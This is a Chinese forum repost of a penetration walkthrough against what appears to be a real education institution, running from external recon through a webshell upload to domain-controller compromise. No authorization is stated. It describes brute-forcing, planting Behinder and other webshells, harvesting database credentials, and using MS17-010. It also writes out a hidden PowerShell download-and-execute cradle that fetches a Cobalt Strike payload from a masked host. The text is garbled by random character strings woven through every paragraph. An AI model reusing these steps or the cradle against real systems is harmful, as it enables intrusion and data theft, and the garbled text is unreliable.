找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3318|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

! y, Z- p0 I `' l1 z! M2 }7 H: c 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 . P+ p; M9 {1 ^+ h) R9 u- F

6 N2 y# ?8 X4 x% B

$ c& d1 _, p$ Q  ( \4 U# I' b6 l; U* ?6 _

- w; ? ~% \/ J# u6 A

3 u) z5 w5 s- q9 v C1 W2 l+ i- Z 正文 1 L% J7 F. m$ x. {5 S: x

: s2 T; R* F0 z

, B8 Z3 O! C. t% m6 [   0 ]* J9 X7 n3 j) D& L' v

$ T( n2 U, \# @ f9 f1 w! w F

, i2 r& v4 V( `5 H7 J3 D7 | 目标:www.xxxx.com(一家教育机构)
! P5 a2 J( @& X8 S; d6 B, U' f4 ~
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
1 H/ S$ F1 x6 y- ]' m

, { u3 q8 k t* z

# x- l# c, c& a! L! [0 i5 ] vshapes= * F5 Q1 V4 B0 S" c# D

4 j7 b' f: ?4 G& y% G" H

( y# ~8 ^! ]. F$ l$ O 进行了简单的信息搜集
; K5 W9 i3 ?! X7 I' ]
1 J0 z ?3 }4 [9 H! G b4 j7 i t
9 m* A! v) _! e9 C! z

" _; |2 z u8 u! g

@3 G" y1 g( t5 V1 Z/ K 子域名搜集 ~9 q+ N% Q) B) c) \

3 y+ q |" _5 g

5 Q3 J) Z# R+ c* e vshapes= " V+ L* Q+ a/ a2 E5 N

# ^+ A2 a# R) a% c/ D

1 O! t/ N& O8 U. z: w% v2 Y fofa找资产
1 U9 G( D- {/ O4 d- T
! V0 H* U( E6 a+ w( ]: `0 p' h/ P- P- `
# f6 ]" f0 n9 H

2 \* J& M6 L' t4 `; X0 J, N* x5 ^

0 {" n; _) j2 z! x7 \- f3 k vshapes= 7 d% K1 R2 W) g3 o

& L. h9 k) l4 Q, l

4 z; ]0 u& r$ Q) g+ Z. @ 一共七个资产。去重之后只有两个。
$ F0 m* E& t' N7 K5 \
7 i8 Y; r' V& g
$ V- ]5 h2 k' k9 X+ Q6 v' P2 U

& P: |6 I5 e. c7 t& f

* H: G% y- I0 m, K) t7 y7 f& ^6 U- K 目录探测: W8 U4 d. v) i' \6 C

+ d7 n4 Q( L9 c% F

# }7 K7 q8 m2 z% k3 R0 _ vshapes= A( p* B" A! F" {8 k

m; }5 [8 S9 u( L' c0 P$ r

/ \5 R6 b$ t% ^ 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
; e" N/ y' e4 V( P
8 a9 O, k% x; |0 F Q* a( D" g
; t, t) k Q) g2 h" N( C& {

( f% _ g' r, m3 r# V% J

5 ~) B4 E9 U4 Q. g! J2 A 我又尝试了通过修改返回包来绕过登录界面) G1 Z- a Z- E) ]

/ p: d1 \7 H( @$ v5 ?2 F

+ I A: [# v2 p) _ vshapes=* r4 l7 I/ a- e2 }) u

) {; z7 B) i2 x8 @8 _1 u+ i1 }8 _

6 z, a0 A# t, N4 ]$ `! o, r! Z, G5 h 还是不行,尝试注入无果& o; }9 o& }6 |# ~8 X

- S5 l. {. m4 ?- @" [

a. M, B& C/ `/ v4 q% G& a vshapes= 2 U- L# s- o8 M" V, @, N

6 a( q/ G4 i7 p. h. d( |: @- u

; y$ B6 K$ }% @* p9 @/ x' @' } 不过我目录探测出了一处Spring信息泄露
1 c4 t$ k8 B) S8 X3 }1 T$ ?' M
& y) B3 s- u8 l. A& N4 W. L% n; `+ n
0 R. z! w b! ^4 H' ]/ T

^$ [/ W6 i) q( G, ~; h. e; g7 n

4 J" w% R! ^- ^& A* e+ b vshapes= ' r! W* m/ V" h5 E5 W5 L

5 i) P! M7 B% t6 Y1 g) G& h

2 d4 y- a3 [8 ~# i5 {5 f. p 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 J6 o' I; Q1 N8 b' e

$ E8 c5 ?- A( i" J3 B( B7 `

% e; K- \6 T0 p( c \ vshapes= $ `3 T6 Y- H4 s( @; M; d

% T9 z7 Y+ `% T9 H9 N5 B |

1 N+ _/ S, L! w3 G+ H 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。: A' B' Y, \1 E* k' Q8 c/ D

1 ]7 s+ X8 \) q' e

5 U8 L% S9 U% i/ Q$ d; b2 v0 Y' C9 n, J vshapes= : k Y3 s8 U3 b# h2 l# L

! r' U4 X0 e p( {/ R( h5 q9 j- n

* C3 D8 _- E- _5 A d. Q4 v 获取有些师傅到这一步就手机抓包电脑测了。+ _$ @) Y/ I! G# v% ] ]

7 @% x6 U% P" \( [' N( y% G5 a$ r

" Q0 |/ q1 H6 x8 i6 z Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 7 R, E$ |4 |; w

L7 V' F3 e7 [

Z- \) N G$ o6 b- a2 g 其中在一个公众号发现了小程序,可以进行注册。 % z N* ^8 \1 M- _7 j4 ]

; J7 S; }9 d7 ^4 J

4 V5 T" n& U0 {! ? 看到了头像上传,尝试上传获取WebShell % R' m5 e$ @3 U2 T! j

! m: K# y; T. o5 Y8 D* v/ h$ M

i+ Q3 A; `5 j& S0 \5 ^$ { vshapes=& I$ ?, m# I' ?6 V7 ]3 E+ j# M+ R

8 h: u5 u/ t* k- u

0 G* g3 q6 J3 F. @ 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问) i& f9 Q2 D: \2 k/ |. d

0 C/ o( b) t3 d/ d' k

8 Y h7 a3 r% I$ e6 G vshapes= ) [' l+ ~7 A+ G6 ^' u

4 b4 m, D1 k0 \, N5 Y, |7 b

( u5 x) v( ?1 |5 J8 r 然后上了大马0 B4 r/ M/ H6 r5 I2 Q

1 J; c, {; Y( |9 `* n

9 u! P; O2 |$ v d& `2 o/ ?' ] vshapes=2 Y \3 l9 t( _- h

$ I. ]) e0 @' r& E3 p, l- Q: W7 j( H" i

9 L1 X* J" f6 o9 G8 d; G vshapes= 6 {$ C. O' D" Q8 Q

3 A, ]- e2 H1 Y

: N9 r8 ~: C# @. ` 通过翻找文件发现数据库账号密码 5 ], j4 J2 P2 X$ K

- T& ]3 V) B D% f

( h$ I( z( d- S4 A0 t vshapes=1 R: I1 u+ b) t1 T1 v

0 h5 _. ~- M, Y1 a8 D- _! @3 H

v Z Q4 y6 y --内网渗透; J3 r, c7 A# t* U; b9 {' C. t

8 A( w7 B J) t1 @3 u" Y

4 u( @0 G. y, j% G 直接通过powershell执行 cs上线 $ V( ~3 d' G1 G

$ A' R2 J. }- P6 @. r% A

" j9 |% ]7 m# s0 \' t0 p0 a powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"; A+ H2 l/ B( t: V& r g+ p( r

( ?# [! G5 Q: U) A. G

f% j; J% e* P/ m2 x vshapes= - P! ?+ R H. y

5 [: N! H5 ]6 w* N* ?7 S

; g6 g; U; m, r. v# q9 g 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 3 N* j3 y# `' e. r

5 l+ X+ q- T1 w

# @8 Z0 b1 E8 L, H! H; |- W$ Q vshapes= 1 Z- \, ~7 P8 Y$ C5 e5 ?) |

, R3 J, b& K$ `/ ]( T; P

( @( }3 x9 y; O8 T# e& q1 r, N 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
6 d+ w- c! _, N" C# L
, H" X, D+ T0 e+ I
+ E1 h: J$ b9 B
! Q: E' M3 e6 t5 g! @% R

& {7 |$ `# q+ I: s7 v6 I0 v( H

" x" u _. o3 j3 d/ a vshapes=$ ?2 A" C, S5 V5 {1 E: \- f4 J

, |1 A0 u! e! l* R

% ^0 ]) [* N2 m. E5 N. v 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
' ]3 {" w3 d! h7 z8 j& w# u
6 l" l8 F$ }& @, }$ Y
# X% U! \6 k+ {! L* \2 m. }- c! D' @

* D, p2 k+ }4 C0 R" X7 l8 O# Q

5 F, s2 ?) l' P1 r- ] vshapes= ' i/ }; W: N: s- p

) x) _2 X, K2 l& j

5 M* d3 O1 f! {) \1 Z
) M! m1 j* g1 z# v3 G; F" O
3 O+ a# M4 I( {2 `4 j" u
! B$ a1 X) [1 v7 [" _9 d

. d8 D y3 n: Z9 @2 q

0 L l7 I3 _8 d  9 j$ o: E2 y/ g

. [4 I+ x P- p1 B3 v6 M) Y% N

0 \4 i7 A# @; y 小结 % J0 j* q; C4 o& H; W

+ x C6 x u* m% W/ |

% F, L) E% \) K& ^# F7 z  : G. g, b; m: o% G

9 W( k1 K. x) \& z% c0 u

6 [6 H* y' e. P/ z1 j" s 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! , b* Y. S' i9 f% f

7 }# a+ j2 a# @0 n7 u1 y/ K7 y, R

r% X, w, x* d1 A  + f& Z' i+ ]6 W# o4 X

! ~, s' \7 E0 J
    . s' x q8 _9 J. R/ F8 p
  • ) f" t% n& e. q5 j {   , R b4 s: s) Y2 r
  • & w1 W0 C }; {5 b% Q
  • 7 Y4 p- o. @" a" r+ M" F7 U  0 T/ @' A9 ~, u: e: `4 ~
  • + @' y1 c2 e& b7 m; ]- Y& ?
* L4 \$ H0 }) g0 K7 ^6 c/ S/ A

) E2 ^# E/ e" z 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html 2 n" ` `% P% Q" }, V

- A) ~- m5 [! ~5 ~8 o2 ~( j9 r

9 X: } g9 E# z9 _: o' _   * U" m1 ?5 F9 t) x5 w9 }. c

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表